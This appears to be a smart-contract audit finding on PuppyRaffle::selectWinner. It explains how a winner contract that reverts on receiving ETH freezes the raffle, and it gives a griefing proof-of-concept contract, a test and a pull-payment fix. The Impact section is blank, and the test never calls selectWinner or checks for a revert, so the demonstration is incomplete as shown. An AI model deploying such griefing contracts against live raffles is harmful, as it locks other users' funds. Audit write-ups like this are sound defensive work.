[M-01] Push Payment in PuppyRaffle::selectWinner Leads to Permanent Denial of Service if Winner Rejects Ether
Description
-
When the raffle completes, selectWinner() determines the winner and automatically pushes 80% of the total prize pool to the winning address.
-
The payout is performed via winner.call{value: prizePool}("") followed by require(success). When the selected winner is a contract that lacks a payable receive/fallback function or intentionally reverts upon incoming value transfers, selectWinner() reverts, freezing the raffle.
function selectWinner() external {
...
delete players;
raffleStartTime = block.timestamp;
previousWinner = winner;
@> (bool success,) = winner.call{value: prizePool}("");
@> require(success, "PuppyRaffle: Failed to send prize pool to winner");
_safeMint(winner, tokenId);
}
Risk
Likelihood:
-
Smart contract accounts (e.g. multisigs, proxy wallets without fallback, or malicious griefing contracts) enter the raffle.
-
The pseudo-random selection algorithm picks the non-payable contract address as the winner.
Impact:
Proof of Concept
contract RevertingEntrant {
PuppyRaffle raffle;
constructor(PuppyRaffle _raffle) {
raffle = _raffle;
}
function enter() external payable {
address[] memory p = new address[](1);
p[0] = address(this);
raffle.enterRaffle{value: msg.value}(p);
}
receive() external payable {
revert("Rejecting ETH");
}
}
function test_dosWhenWinnerRejectsEth() public {
RevertingEntrant revertingContract = new RevertingEntrant(puppyRaffle);
address[] memory players = new address[](3);
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree;
puppyRaffle.enterRaffle{value: entranceFee * 3}(players);
vm.deal(address(revertingContract), 1 ether);
revertingContract.enter{value: 1 ether}();
vm.warp(block.timestamp + duration + 1);
}
Recommended Mitigation
+ mapping(address => uint256) public pendingPrizes;
...
function selectWinner() external {
...
previousWinner = winner;
- (bool success,) = winner.call{value: prizePool}("");
- require(success, "PuppyRaffle: Failed to send prize pool to winner");
+ pendingPrizes[winner] += prizePool;
_safeMint(winner, tokenId);
}
+ function claimPrize() external {
+ uint256 prize = pendingPrizes[msg.sender];
+ require(prize > 0, "No prize to claim");
+ pendingPrizes[msg.sender] = 0;
+ (bool success,) = msg.sender.call{value: prize}("");
+ require(success, "Failed to withdraw prize");
+ }